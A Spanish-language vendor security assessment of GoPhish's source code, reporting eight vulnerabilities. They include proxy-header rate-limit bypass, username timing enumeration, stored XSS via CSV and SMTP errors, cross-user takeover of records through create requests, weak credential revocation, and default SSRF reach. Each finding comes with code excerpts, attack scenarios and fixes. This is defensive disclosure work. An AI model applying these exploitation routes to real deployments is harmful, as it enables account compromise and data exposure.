Neutron, nuestro motor de IA, obtuvo un 96.75% en el benchmark CyberGym de UC Berkeley. Más información

Seguridad

Seguridad

Análisis de la última versión de GoPhish: evaluación del código fuente con Ostorlab Agentic Deep Scan

Una evaluación técnica de la última versión de GoPhish que examina cómo gestiona la plataforma la confianza: identidad, contenido no confiable, propiedad de los objetos, ciclo de vida de las credenciales y solicitudes salientes. El análisis del código fuente con Ostorlab Agentic Deep Scan permitió establecer los ocho hallazgos del informe, las PoC y las prioridades de corrección.

Evaluación del código fuente de la última versión de GoPhish

Evaluación del código fuente con Ostorlab Agentic Deep Scan · Ocho hallazgos a nivel de informe · PoC locales reproducibles

La historia: de una ruta de código a una evaluación completa

Esta evaluación del código fuente de la última versión de GoPhish, respaldada por Ostorlab Agentic Deep Scan, no buscaba una única clase de errores. Siguió las rutas que suelen decidir si un control de seguridad es real: de la entrada HTTP al almacenamiento, del almacenamiento a un sink del navegador, de la identidad a la autorización y de una URL a una conexión saliente.

Al principio, la revisión parecía conocida: un manejador de inicio de sesión, una función de importación, algo de código de renderizado en el navegador. Después, las rutas empezaron a converger. Un error procedente de un servidor de correo podía convertirse en HTML en el navegador de un administrador. Un campo llamado id en un endpoint de creación podía cambiar la propiedad de un registro existente. Una credencial podía sobrevivir a la misma acción de la cuenta con la que un operador esperaría revocarla. Ninguna de estas observaciones es dramática por sí sola; juntas describen una aplicación cuyas fronteras de confianza más importantes eran demasiado porosas.

La evaluación conectó una omisión del límite de solicitudes sensible al despliegue, la enumeración de nombres de usuario y dos familias de XSS con la propiedad entre usuarios, el ciclo de vida de la autenticación de la API, los campos sensibles de usuario y los controles de solicitudes del lado del servidor. Cada resultado incluido en el informe se rastreó a través del manejador, el modelo, el middleware y la ruta de navegador o de red correspondientes antes de incorporarlo.

Ostorlab Agentic Deep Scan participó en esa evaluación de principio a fin: puso de manifiesto patrones recurrentes en todo el repositorio, entre ellos rutas de creación capaces de actualizar objetos existentes, comprobaciones de credenciales desvinculadas del estado de la cuenta y controles de solicitudes salientes cuyo comportamiento cambiaba con la configuración. Esas señales orientaron la investigación; el artículo solo recoge las rutas completas y reproducibles que la evaluación confirmó.

El resultado son ocho hallazgos a nivel de informe. El artículo incluye los procedimientos locales de prueba de concepto utilizados para validarlos, junto con la corrección correspondiente. Están pensados exclusivamente para entornos de prueba aislados y autorizados. Los ejemplos usan direcciones de loopback, usuarios sintéticos y alertas inofensivas del navegador; no deben emplearse contra sistemas o cuentas que usted no posea o que no tenga permiso explícito para probar.

Los escenarios de este artículo son composiciones ilustrativas basadas en el comportamiento validado. Están redactados deliberadamente al nivel que necesita un responsable de seguridad, un desarrollador o el responsable de una plataforma para comprender qué necesita un atacante, qué frontera de confianza falla, quién resulta afectado y cómo es una corrección duradera.

# Hallazgo Componente principal Impacto práctico Riesgo
1 Omisión del límite de intentos de inicio de sesión sensible al proxy inverso Enrutamiento de administración / limitador Debilita la protección contra la fuerza bruta en los despliegues expuestos Medio
2 Enumeración de nombres de usuario mediante trabajo de autenticación asimétrico Manejador de inicio de sesión Revela nombres de cuenta válidos Bajo
3 XSS almacenado a través de campos de destinatarios importados Importación CSV/grupo → página de destino Ejecución de scripts en el navegador de un objetivo, en el dominio de phishing Alto
4 XSS almacenado y reflejado a través de errores SMTP Interfaz de campañas Ejecución de scripts en el navegador de un administrador autenticado Alto
5 Apropiación de recursos entre usuarios mediante upsert en endpoints de creación Grupos, plantillas, páginas, perfiles SMTP Transferencia de propiedad; exposición de los datos de los grupos Alto
6 Invalidación incompleta de la sesión y de las credenciales de la API Cierre de sesión / cambio de contraseña Una credencial capturada puede sobrevivir a una acción de la cuenta Medio
7 Asignación masiva en campos sensibles de la cuenta PUT /api/users/{id} Un usuario puede modificar campos destinados al control administrativo Medio
8 Alcance de redes privadas por defecto en la importación de sitios POST /api/import/site Acceso desde el servidor a direcciones internas distintas de las de metadatos Bajo

Por qué es importante esta evaluación

GoPhish ocupa una posición de gran confianza. Contiene datos de destinatarios, contenido de campañas, páginas de destino, la configuración de la infraestructura de correo y los flujos de trabajo utilizados para simular la captura de credenciales. Precisamente por eso sus fronteras de seguridad deben ser explícitas. Un fallo en una aplicación de negocio normal puede quedar contenido en una sola funcionalidad; un fallo en una infraestructura de simulación de phishing puede afectar a los datos, las comunicaciones y la credibilidad de todo un programa de seguridad.

Qué es GoPhish y qué se espera que haga con la confianza que recibe

GoPhish es una plataforma de simulación de phishing de código abierto. Sus administradores montan campañas a partir de plantillas de correo, páginas de destino, grupos de destinatarios y perfiles de envío; la plataforma entrega entonces los mensajes simulados, sirve las páginas de la campaña y registra los resultados. La misma aplicación expone además una API para que los operadores puedan automatizar la gestión de campañas y recursos.

Ese flujo de trabajo reúne en un solo producto varios dominios de confianza distintos:

  • Los administradores y los usuarios de la API controlan las campañas, los datos de perfil, los grupos de destinatarios y el estado de las cuentas.
  • Los datos de los destinatarios se importan y, más adelante, se renderizan en plantillas de correo o de páginas de destino.
  • La infraestructura SMTP es externa a la aplicación del navegador, pero puede aportar errores de protocolo que la plataforma registra y muestra.
  • Los objetivos abren los enlaces de la campaña en un origen de navegador independiente, mientras que los administradores gestionan las campañas en el origen de administración privilegiado.
  • Import Site convierte una URL proporcionada por un usuario autenticado en una solicitud saliente realizada por el servidor de GoPhish.

Mapa conceptual del modelo de confianza de GoPhish: los administradores, la importación de destinatarios, la entrega SMTP, los navegadores de los objetivos y la conexión saliente de Import Site convergen en la plataforma central.
Contexto de la plataforma GoPhish y fronteras de confianza

Figura 1: contexto conceptual de la plataforma. Los flujos cian representan las rutas operativas previstas; el ámbar marca los cruces de fronteras de confianza; el rojo marca una ruta que merece una atención especial desde el punto de vista de la seguridad. Es un modelo explicativo, no un diagrama de la arquitectura del producto.

Por tanto, el servidor central es mucho más que un panel. Es una capa de traducción entre personas, datos, navegadores, sistemas de correo y redes. Los hallazgos de esta revisión aparecen allí donde esa capa de traducción acepta una entrada de un dominio y le concede más autoridad en el siguiente.

Para un responsable técnico, el mensaje central no es «ocho tickets independientes». Es un único modelo de seguridad sometido a presión desde varias direcciones:

  • La entrada que pasa de una lista de objetivos o de un servidor SMTP a un navegador debe seguir siendo dato, no marcado.
  • Un usuario autenticado nunca debe poder convertir la semántica de creación en semántica de actualización entre usuarios.
  • El cierre de sesión, los cambios de contraseña y los bloqueos de cuenta deben tener el mismo significado en la interfaz, la cookie de sesión y la API.
  • Una aplicación que obtiene una URL debe asumir que esa URL intenta llegar a un lugar al que no debería.

El resto del artículo documenta dónde fallaron esas reglas en el árbol de código fuente revisado y cómo hacerlas exigibles.

El mapa de fronteras de confianza que utilizamos

En lugar de revisar los archivos de forma aislada, mapeamos el sistema como un conjunto de cruces de fronteras. Eso permitió formular la pregunta adecuada en cada transición: ¿quién controla ahora este valor, quién confiará en él a continuación y qué autoridad se obtiene si esa confianza está mal depositada?

Browser / API client ──► routing and authentication ──► application model ──► database
       │                            │                         │                 │
       │                            │                         │                 └─ ownership and state
       │                            │                         └─ create/update semantics
       │                            └─ identity, rate limit, account state
       │
       ├──► landing-page renderer ──► target browser
       ├──► campaign-results renderer ──► administrator browser
       └──► import-site client ──► network destination selected by a URL

La revisión encontró debilidades en cada una de esas uniones. Por eso un desarrollador no debería tratar los hallazgos como una colección de errores de controlador sin relación entre sí, y por eso un responsable técnico debería planificar la corrección como un pequeño programa de endurecimiento de la seguridad y no como una versión de parche puntual.

Cuatro carriles conceptuales de riesgo: la identidad derivada del proxy llega a una decisión sobre el límite de solicitudes; los datos importados cruzan hacia el renderizado del navegador; los datos de error de SMTP cruzan hacia la interfaz del administrador; los datos de objetos de la API y las solicitudes salientes cruzan las fronteras de propiedad y de red.
Fallos conceptuales de las fronteras de confianza en la evaluación

Figura 2: el vocabulario visual utilizado a lo largo de este artículo. El azul muestra el movimiento esperado de los datos; el ámbar es el momento en que debe tomarse una decisión sobre la frontera; el rojo ilustra lo que sucede cuando se concede a datos no confiables autoridad sobre la identidad, el HTML, la propiedad o la red. Los cuatro carriles corresponden (de arriba abajo) a los controles de autenticación, el renderizado de destinatarios, el renderizado de errores SMTP y los controles de objetos de la API y de solicitudes salientes. El texto del artículo sigue siendo la explicación de referencia de cada carril.

Carril Decisión sobre la frontera Fallo ilustrado
Autenticación ¿Qué componente puede afirmar la identidad del cliente? Una cabecera de proxy controlada por el cliente crea un nuevo contenedor del límite de solicitudes.
Renderizado de destinatarios ¿Los datos de contacto importados son texto o marcado? Un campo de destinatario se convierte en contenido activo en el navegador de un objetivo.
Renderizado de errores SMTP ¿Es un error de protocolo un contenido seguro para el navegador? Un error del servidor de correo llega al DOM del administrador como HTML.
Persistencia de la API e Import Site ¿Puede una entrada cambiar la propiedad o seleccionar un destino de red? Una solicitud de creación actualiza el objeto de otro usuario; una URL llega a un destino de red privada.

Por eso mismo el informe agrupa los problemas como lo hace. El primer carril abarca el límite de solicitudes y la enumeración de usuarios; el segundo, el XSS desde CSV hasta la página de destino; el tercero, el XSS por errores SMTP; y el último recoge dos problemas de autoridad del lado del servidor: una persistencia que cambia la propiedad y una URL que cambia el alcance de red.

Alcance y método de validación

Esta evaluación abarca la última versión de GoPhish con la configuración predeterminada suministrada.

Cómo validamos el informe

Cada ruta incluida en el informe debía superar dos comprobaciones. En primer lugar, era necesario identificar en el código fuente un flujo de datos completo: punto de entrada, transformación o almacenamiento y sink sensible para la seguridad. En segundo lugar, había que establecer las condiciones de contorno reales: acceso autenticado frente a no autenticado, comportamiento de la interfaz frente al de la API, configuración del proxy inverso, configuración predeterminada frente a opcional, y la diferencia entre modificación destructiva y exposición de datos. Después reprodujimos el comportamiento de forma local con usuarios y datos sintéticos; los procedimientos completos aparecen en el apéndice de validación.

Esta disciplina es lo que transformó varias hipótesis iniciales en hallazgos más precisos. Las calificaciones de riesgo de la tabla resumen reflejan las rutas validadas y sus condiciones previas declaradas; no son afirmaciones de severidad universales para todos los despliegues.

1. El limitador de intentos de inicio de sesión confía en una dirección derivada del proxy

GoPhish protege las solicitudes POST administrativas con un limitador de cinco solicitudes por minuto. El limitador asigna sus contenedores a partir de la dirección de la solicitud. Al mismo tiempo, el manejador administrativo está envuelto con handlers.ProxyHeaders, que acepta cabeceras de reenvío como X-Forwarded-For y X-Real-IP.

// controllers/route.go
adminHandler = handlers.ProxyHeaders(adminHandler)

// middleware/ratelimit/ratelimit.go
limit := rate.NewLimiter(
    rate.Every(time.Minute/time.Duration(limiter.requestLimit)),
    limiter.requestLimit,
)

El limitador toma su decisión a partir de r.RemoteAddr después de la normalización de las cabeceras del proxy:

clientIP, _, err := net.SplitHostPort(r.RemoteAddr)
if err != nil {
    clientIP = r.RemoteAddr
}
if r.Method == http.MethodPost && !limiter.allow(clientIP) {
    http.Error(w, http.StatusText(http.StatusTooManyRequests), http.StatusTooManyRequests)
    return
}

Se trata de un problema sensible al despliegue, no de un fallo universal de las cabeceras de proxy. Si GoPhish es accesible directamente y un proxy ascendente no elimina ni sobrescribe las cabeceras de reenvío proporcionadas por el cliente, un atacante puede variar la dirección aparente del cliente y obtener nuevos contenedores del limitador. La implementación hace exactamente lo que se le ha indicado: cree en la dirección proporcionada por el proxy. El fallo es que la aplicación no establece qué componente de red tiene derecho a hacer esa afirmación. Un proxy inverso correctamente configurado que controle estas cabeceras impide esta omisión concreta.

Escenario ilustrativo: el control que solo funciona en el diagrama. Un equipo de seguridad despliega la consola de administración detrás de un balanceador de carga durante una fase de su implantación y, durante un incidente, expone directamente una ruta de resolución de problemas. La aplicación sigue tratando las cabeceras de reenvío como autoritativas. Su control de cinco solicitudes de inicio de sesión parece ahora sano en el código y en una prueba básica, pero ya no está vinculado a una identidad de red estable. La lección operativa es que el límite de solicitudes es un control del sistema: el perímetro, el proxy, la aplicación y las reglas de supervisión deben coincidir en quién es el cliente.

Prioridad de ingeniería: vincular el servicio administrativo a una interfaz privada siempre que sea posible; permitir las cabeceras de proxy solo desde redes de proxy de confianza; sobrescribir en el perímetro las cabeceras de reenvío entrantes; y aplicar un segundo límite de solicitudes en el proxy inverso o en el WAF.

Prueba de regresión que conviene mantener: enviar solicitudes de inicio de sesión repetidas con cabeceras de reenvío falsificadas a través del ingress previsto del despliegue, verificar que se utiliza un único contenedor de cliente efectivo y comprobar por separado que el acceso administrativo directo es imposible o rechaza las cabeceras de proxy no confiables.

2. El comportamiento del inicio de sesión puede revelar si existe un nombre de usuario

En AdminServer.Login, GoPhish realiza primero una búsqueda del nombre de usuario. Si la búsqueda falla, devuelve de inmediato una respuesta de inicio de sesión no válido. Solo un usuario existente llega a auth.ValidatePassword, que realiza la verificación del hash de la contraseña.

u, err := models.GetUserByUsername(username)
if err != nil {
    as.handleInvalidLogin(w, r, "Invalid Username/Password")
    return
}
err = auth.ValidatePassword(password, u.Hash)

El error mostrado es deliberadamente idéntico, pero el trabajo no lo es: un nombre de usuario existente implica la validación del hash de la contraseña, mientras que uno inexistente no. Con mediciones repetidas, esto puede crear un oráculo de temporización. La corrección importante respecto al informe inicial es que el problema no se debe únicamente a la precarga del ORM; el código fuente no contiene ninguna comparación compensatoria con un hash de contraseña ficticio para la ruta de usuario desconocido.

Es un buen ejemplo de por qué las revisiones de seguridad no deben detenerse en un mensaje de error genérico. La cadena devuelta al usuario es solo uno de los elementos observables. La duración, el comportamiento de la base de datos y la interacción con el límite de solicitudes también forman parte del protocolo de autenticación que experimenta un atacante.

Escenario ilustrativo: acotar una campaña de password spraying. Un atacante no necesita un aviso visible de «usuario no encontrado» para aprender algo útil. Con suficientes solicitudes y una ruta de red estable, una asimetría entre la rama de usuario desconocido y la de usuario conocido puede ayudar a distinguir nombres de cuenta probables. Eso reduce la lista para un posterior intento de password spraying o una campaña de ingeniería social. El hallazgo no afirma que todos los despliegues vayan a producir una señal de temporización limpia; afirma que la aplicación crea la señal sin necesidad al hacer que el trabajo de autenticación dependa de la existencia de la cuenta.

Prioridad de ingeniería: ejecutar siempre el verificador de contraseñas (con un hash ficticio fijo para los usuarios desconocidos) y mantener coherentes los mensajes de respuesta, los códigos de estado y el trabajo observable. Aplicar, además de este cambio, una limitación de solicitudes a nivel de cuenta y de red.

Prueba de regresión que conviene mantener: ejercitar nombres de usuario válidos e inválidos con la misma contraseña incorrecta en un benchmark controlado. La prueba debe confirmar que ambas rutas invocan una comparación de hash de contraseña y que ninguna respuesta expone un estado, un cuerpo o un comportamiento de redirección distintos.

3. Los campos CSV importados llegan a una plantilla de página de destino sin escapar

La ruta de importación de grupos acepta propiedades de destinatarios como FirstName, LastName y Position. Los valores se conservan como datos del destinatario. Cuando una campaña renderiza una página de destino, GoPhish construye un PhishingTemplateContext y ejecuta el contenido de la página mediante el paquete text/template de Go:

// models/template_context.go
tmpl, err := template.New("template").Parse(text)
if err != nil {
    return buff.String(), err
}
err = tmpl.Execute(&buff, data)

text/template no realiza escape contextual de HTML. Por tanto, un valor importado en un campo de destinatario puede convertirse en marcado cuando una página de destino utiliza la variable de plantilla correspondiente. El contexto de ejecución es el origen de la página de destino de phishing en el navegador del objetivo, no automáticamente el origen de administración de GoPhish. Esa frontera es importante al evaluar el impacto.

La transición de confianza relevante es sencilla pero peligrosa:

CSV / API recipient value
        ↓ stored as recipient metadata
campaign template variable (for example, a name field)
        ↓ text/template executes the page
target browser receives attacker-controlled markup

El riesgo es tanto operativo como técnico. Los equipos suelen importar listas de destinatarios procedentes de sistemas de RR. HH., hojas de cálculo, terceros o conjuntos de datos de prueba. El valor puede parecer un dato de contacto en el momento de la ingesta, pero cuando el motor de plantillas lo coloca en un documento HTML, se ha convertido en contenido ejecutable del navegador.

Escenario ilustrativo: una lista realista se convierte en una página activa. El operador de una campaña importa una hoja de cálculo proporcionada por otra unidad de negocio y construye una página de destino que saluda a cada destinatario por su nombre. El operador ve un flujo de importación de datos; la aplicación ve más tarde una plantilla HTML con sustituciones controladas por el destinatario. Cuando un objetivo abre el enlace de la campaña, el navegador ya no está manejando un campo de nombre: está manejando cualquier marcado que haya sobrevivido a las fases de importación y de renderizado de la plantilla. El objetivo no necesita acceso a GoPhish, y es posible que el operador nunca advierta el valor inseguro en una lista grande.

Confirmación depurada de la ruta de XSS desde CSV hasta la página de destino
Evidencia depurada del XSS por CSV

Figura 3: evidencia depurada de la validación local. La alerta inofensiva confirma que un campo de destinatario sintético cruzó la frontera de importación y de renderizado de la página de destino. No se muestran datos reales de objetivos ni credenciales.

Prioridad de ingeniería: separar el renderizado según el contexto de salida. Utilizar html/template para las páginas de destino HTML, un renderizado seguro para texto en el contenido de texto plano y una validación explícita de URL y cabeceras cuando proceda. No sustituir en bloque la función compartida ExecuteTemplate: también se utiliza para cuerpos de correo, URL, cabeceras y archivos adjuntos. Conservar un mecanismo tipado y de alcance reducido para el HTML de confianza generado por el sistema, como el tracker, y tratar los datos de contacto importados como no confiables incluso cuando procedan del CSV de un administrador.

Prueba de regresión que conviene mantener: crear un registro de destinatario con caracteres significativos en contextos HTML y JavaScript; renderizar cada campo de destinatario admitido en una página de destino; comprobar que el navegador recibe texto codificado y no marcado ejecutable. Probar el renderizador de la página de destino, y no solo el análisis del CSV, porque la explotabilidad se decide en el sink.

4. Los fallos de SMTP se convierten en un sink de XSS en el panel de administración

La siguiente ruta comenzó fuera de la aplicación web: un servidor SMTP controla partes de una respuesta de error. El backend convierte un error en el detalle de un evento y lo persiste sin codificación HTML:

// models/result.go
func (r *Result) HandleEmailError(err error) error {
    event, err := r.createEvent(
        EventSendingError,
        EventError{Error: err.Error()},
    )
    // event is persisted with the campaign result
}

Más tarde, el código del lado del cliente de los resultados de la campaña analiza los detalles del evento y concatena details.error directamente en HTML:

if (details.error) {
    results += '<div class="timeline-event-results">'
    results += '<span class="label label-default">Error</span> ' + details.error
    results += '</div>'
}

Esto crea una ruta de XSS almacenado en el panel de administración cuando un administrador abre más tarde el resultado de la campaña afectada. Existe una ruta reflejada relacionada cuando la interfaz de creación de campañas inserta, sin codificación HTML, el mensaje de error de la API procedente de una operación de correo de prueba. No se trata de una coincidencia especulativa de cadenas: la misma base de código demuestra el patrón más seguro en otro lugar, al llamar a escapeHtml() en la interfaz de los perfiles de envío.

Hay dos momentos de riesgo distintos:

Ruta Productor no confiable Sink del navegador Por qué es importante
Almacenada Fallo de entrega SMTP persistido con un evento de la campaña Línea de tiempo de resultados de la campaña El payload espera a que un administrador investigue una entrega fallida.
Reflejada Fallo SMTP devuelto por la API de correo de prueba Área de errores de creación de la campaña El payload se muestra de inmediato durante una acción operativa normal.

El origen de la cadena también es importante. Una respuesta SMTP es un mensaje de protocolo externo. Tratarla como contenido de interfaz de confianza cruza una frontera de confianza dos veces: primero de la red a la aplicación y después de los datos de la aplicación al HTML del DOM.

Evidencia depurada de la validación del error SMTP
Evidencia depurada del XSS por SMTP

Figura 4: evidencia depurada de la validación local de SMTP. El listener de prueba emite un payload de error SMTP inofensivo utilizado en las comprobaciones de las rutas almacenada y reflejada; no se muestran secretos ni detalles de endpoints activos.

El impacto es mayor que el de un error cosmético de la interfaz porque el sink se encuentra dentro de un origen de administración autenticado. La interfaz revisada expone la credencial de API del usuario activo a JavaScript del navegador en templates/base.html, lo que hace especialmente urgente la corrección del XSS basado en DOM.

Escenario ilustrativo: el responsable de la respuesta al incidente se convierte en el objetivo. Una campaña empieza a devolver fallos de entrega. Un administrador hace lo que el producto está diseñado para permitir: abre la línea de tiempo de la campaña, expande un evento fallido y lee el error para entender el problema. En ese momento, un valor proporcionado por la infraestructura de correo se inserta en el DOM como HTML. El flujo defensivo (investigar los fallos de correo) se convierte en el desencadenante de la ejecución en el navegador dentro de la consola administrativa. La ruta reflejada conlleva el mismo riesgo antes en el flujo de trabajo, cuando un operador prueba un perfil de envío antes de lanzar una campaña.

Prioridad de ingeniería: mantener los errores como texto con textContent, el método .text() de jQuery o una función auxiliar de escape HTML coherente; no concatenar nunca cadenas de error en HTML; y eliminar del JavaScript renderizado en el navegador los secretos de larga duración.

Prueba de regresión que conviene mantener: inyectar texto con apariencia de marcado en un fallo SMTP simulado y probar, con una prueba a nivel de navegador, tanto el renderizador de resultados de la campaña como el del error del correo de prueba. La aserción debe ser estructural: la interfaz muestra un nodo de texto, no se crea ningún elemento a partir del error y no se interpreta ningún controlador de eventos en línea ni atributo de URL.

5. Los endpoints de creación se comportan como endpoints de actualización entre usuarios

La evaluación identificó un patrón en el que los manejadores de creación de recursos aceptan un cuerpo JSON que contiene un id, estampan el UserId del solicitante y después llaman a funciones del modelo que persisten mediante GORM Save. Con un ID distinto de cero, Save es una actualización y no una inserción.

// controllers/api/template.go — POST path
t.UserId = ctx.Get(r, "user_id").(int64)
err = models.PostTemplate(&t)

// models/template.go
err := db.Save(t).Error

Esto afecta a las rutas de creación de grupos, plantillas de correo, páginas de destino y perfiles SMTP. Un usuario que pueda aportar el ID conocido de un recurso de otro usuario puede provocar que un registro se reasigne o se sobrescriba. En el caso de los grupos, las asociaciones de objetivos que se conservan hacen más grave la consecuencia: tras la transferencia de propiedad, el atacante puede leer el grupo y los objetivos ya vinculados a él.

La misma conclusión no debe generalizarse en exceso. Para las plantillas, las páginas y los perfiles SMTP, el problema central demostrado es la transferencia de propiedad no autorizada y la modificación destructiva. Conocer un ID por sí solo no revela necesariamente los valores sensibles del registro anterior antes de la actualización.

Por eso llamar al problema simplemente «IDOR» se queda corto. El problema de diseño subyacente es la semántica de persistencia ambigua: una solicitud enrutada como creación puede seguir modificando un objeto existente. Las operaciones de lectura y de eliminación incluyen correctamente condiciones de propiedad en varias consultas del modelo, pero la ruta de POST a Save crea un camino aparte que rodea esa frontera de propiedad.

Escenario ilustrativo: un recurso cambia de manos en silencio. Dos usuarios comparten la misma instalación de GoPhish, pero no deberían compartir los datos de las campañas. Uno de ellos crea un grupo de objetivos sensible para un ejercicio interno. Otro usuario autenticado envía lo que la aplicación llama una solicitud de creación, pero la solicitud lleva el identificador de un recurso existente. La capa de persistencia trata la clave primaria distinta de cero como una actualización y aplica la propiedad del segundo usuario. Después, al usuario original se le deniega el acceso mediante la consulta normal acotada por propietario. En el caso de los grupos, las asociaciones de objetivos existentes hacen que el fallo sea especialmente grave; en el resto de tipos de recursos, la apropiación y la interrupción no autorizadas siguen siendo el impacto confirmado.

Evidencia depurada de Agentic Deep Scan que muestra a un usuario de prueba autenticado apropiándose de un grupo de objetivos sintético mediante una solicitud de creación con un ID existente.
Evidencia depurada de control de acceso de Agentic Deep Scan

Figura 5: evidencia depurada de Agentic Deep Scan para la ruta de apropiación de recursos entre usuarios. Los nombres de cuenta, los datos de destinatarios, las claves de API y los detalles de endpoints son sintéticos.

La idea de diseño importante es que la autorización no se puede reparar añadiendo comprobaciones únicamente a los manejadores GET. Un modelo de datos puede estar perfectamente acotado en la lectura y, sin embargo, verse comprometido cuando una ruta de escritura acepta un identificador propiedad del servidor y cambia el propietario antes de la persistencia.

Prioridad de ingeniería: hacer distintas las operaciones de creación y de actualización. Rechazar los ID proporcionados por el cliente en POST; usar operaciones de inserción explícitas; acotar cada actualización y cada lectura por el ID del recurso y por el propietario; y añadir pruebas con dos usuarios para cada tipo de recurso.

Prueba de regresión que conviene mantener: para cada uno de los grupos, las plantillas, las páginas y los perfiles SMTP, crear un objeto como usuario A; enviar un POST como usuario B que incluya el identificador de ese objeto; comprobar que la solicitud se rechaza y que el propietario almacenado, el contenido y los registros relacionados permanecen sin cambios. Esta prueba debe ejecutarse contra la capa de persistencia real porque el comportamiento de Save es fundamental para el problema.

6. El cierre de sesión y el cambio de contraseña no revocan todas las credenciales de portador

GoPhish utiliza una sesión de cookie firmada y cifrada con una antigüedad máxima de cinco días. Las claves se generan cuando se inicia el proceso:

var Store = sessions.NewCookieStore(
    []byte(securecookie.GenerateRandomKey(64)),
    []byte(securecookie.GenerateRandomKey(32)))
Store.MaxAge(86400 * 5)

La implementación del cierre de sesión modifica la cookie actual en lugar de invalidar las credenciales en el servidor:

// controllers/route.go
session := ctx.Get(r, "session").(*sessions.Session)
delete(session.Values, "id")
session.Save(r, w)

El cierre de sesión borra el identificador de sesión en la cookie recién emitida, pero el diseño no tiene un registro de sesiones del lado del servidor ni una lista de revocación. Una cookie capturada previamente y todavía válida puede seguir siendo utilizable hasta que caduque. El cambio de contraseña tampoco rota automáticamente las claves de API. Las claves de API son credenciales de portador respaldadas por la base de datos, de modo que reiniciar el proceso invalida las firmas de las cookies pero no rota las claves de API, una corrección importante respecto al informe original.

RequireAPIKey recupera un usuario a partir de la clave de API y lo coloca en el contexto de la solicitud sin evaluar AccountLocked ni PasswordChangeRequired. Eso significa que una clave de API que sigue siendo válida puede conservar el acceso a la API incluso cuando ha cambiado el estado del inicio de sesión web.

Evento de la cuenta Comportamiento de la sesión por cookie Comportamiento de la clave de API Propiedad de seguridad deseada
Cierre de sesión Se borra el navegador actual; el servidor no revoca la cookie válida anterior Sin cambios Revocar todas las credenciales activas del ámbito previsto.
Cambio de contraseña La cookie existente no se invalida necesariamente antes de su caducidad Sin cambios Rotar o invalidar las sesiones y las claves de API.
Bloqueo de cuenta / cambio forzado Se rechaza un nuevo inicio de sesión interactivo cuando la cuenta está bloqueada, pero no se rechaza una sesión de cookie existente; el estado de cambio de contraseña se aplica a las solicitudes web El middleware de la API solo valida la clave Aplicar el mismo estado de cuenta a todas las interfaces y credenciales autenticadas.

Se trata de un fallo de ciclo de vida, no simplemente de un error al establecer cookies. Si una organización utiliza el bloqueo de cuentas, la rotación forzada de contraseñas o la baja de usuarios como control, la API no puede seguir siendo un sistema de identidad separado y menos restrictivo.

Escenario ilustrativo: un control de baja que deja la puerta abierta. Un equipo detecta actividad sospechosa, bloquea una cuenta, restablece su contraseña y pide al usuario afectado que cierre sesión. Desde el punto de vista del operador, la sesión del navegador puede parecer resuelta, pero una clave de API copiada antes en un script de automatización sigue correspondiendo a la cuenta. Como el middleware de la API valida la clave de portador sin aplicar las mismas comprobaciones de estado de la cuenta, el script sigue accediendo a la funcionalidad de la API. El riesgo no es solo la persistencia maliciosa: también genera una respuesta a incidentes confusa, en la que una interfaz indica que una cuenta está deshabilitada y otra sigue aceptándola.

Prioridad de ingeniería: pasar a sesiones del lado del servidor o con versión, rotar y revocar las sesiones y las claves de API en el cierre de sesión, el restablecimiento de contraseña, el bloqueo y los cambios de privilegios, y aplicar comprobaciones del estado de la cuenta en el middleware de claves de API.

Prueba de regresión que conviene mantener: emitir una sesión de cookie y una clave de API, y realizar después el cierre de sesión, el cambio de contraseña, el bloqueo de cuenta y el cambio de rol como casos separados. Verificar en cada ocasión el resultado deseado en ambas interfaces. Las transiciones de estado sensibles para la seguridad merecen la misma cobertura de pruebas que el propio inicio de sesión.

7. La API de actualización de usuarios acepta campos de control administrativo

Un usuario que no sea del sistema y disponga de una clave de API válida puede borrar sus propios indicadores PasswordChangeRequired y AccountLocked. Esto le permite deshabilitar un control de cambio forzado de contraseña o de bloqueo de cuenta que un administrador pretendía aplicar.

El endpoint de actualización acepta esos campos de política en la misma representación de solicitud utilizada para los cambios de autoservicio y después los copia directamente en el usuario almacenado:

existingUser.PasswordChangeRequired = ur.PasswordChangeRequired
// ... password update omitted ...
existingUser.AccountLocked = ur.AccountLocked
err = models.PutUser(&existingUser)

Los cambios de rol reciben una protección de rol de sistema, pero estos dos campos de control de la cuenta no. La causa raíz es un único tipo de solicitud amplio que sirve a dos autoridades: la gestión administrativa de cuentas y las actualizaciones de perfil de autoservicio.

Escenario ilustrativo: el indicador de política que ya no es política. Una organización exige que un usuario cambie una contraseña temporal antes de continuar trabajando. Un administrador marca correctamente la cuenta. Pero ese mismo usuario puede enviar una representación de autoactualización que contenga el estado que elimina ese requisito, porque la API trata el campo como un dato de perfil ordinario. El resultado es sutil: no hay una escalada de rol dramática, pero un control establecido por el equipo de seguridad o de operaciones puede ser deshabilitado por el sujeto al que debía restringir.

Prioridad de ingeniería: usar tipos de solicitud distintos para los cambios de perfil de autoservicio y para la gestión administrativa de cuentas. Aplicar autorización a nivel de campo, denegar las escrituras de autoservicio en los indicadores de política de bloqueo y de cambio de contraseña, y probar los casos negativos de cada campo sensible.

Prueba de regresión que conviene mantener: autenticarse como usuario que no es del sistema e intentar actualizar cada campo que afecte al estado de bloqueo, la política de credenciales, el rol o el ciclo de vida de la cuenta. El resultado esperado no es simplemente que «la actualización falle»; es que la cuenta persistida permanezca exactamente sin cambios en esos campos.

8. El dialer de importación de sitios aplica por defecto una lista de denegación reducida

POST /api/import/site obtiene una URL proporcionada por el usuario a través de un dialer restringido. Su función no es simplemente validar una URL para el navegador: GoPhish instancia un transporte HTTP, realiza la solicitud desde el servidor, analiza la respuesta como HTML y devuelve el contenido de la página resultante al llamador autenticado. La restricción es real, pero su política predeterminada solo deniega el rango de metadatos de enlace local:

var defaultDeny = []string{
    "169.254.0.0/16",
}

denyList := defaultDeny
if len(allowed) > 0 {
    denyList = allInternal
}

La lista allInternal, más completa, incluye el loopback, RFC1918 y otros rangos no públicos, pero solo se activa cuando se configura allowed_internal_hosts. En la configuración predeterminada, esto deja accesibles los destinos de redes privadas a través de la función de importación, sujeto al enrutamiento de red y a la disponibilidad del servicio.

El comportamiento de la configuración es particularmente fácil de pasar por alto en una revisión: la política completa de direcciones internas existe en la base de código, lo que puede dar una falsa sensación de cobertura, pero solo se selecciona después de configurar una lista de permitidos. En otras palabras, una función pensada para expresar una excepción cambia el modelo de seguridad de referencia. El comportamiento predeterminado debe juzgarse por la lista de denegación predeterminada, no por la lista más restrictiva presente en el repositorio.

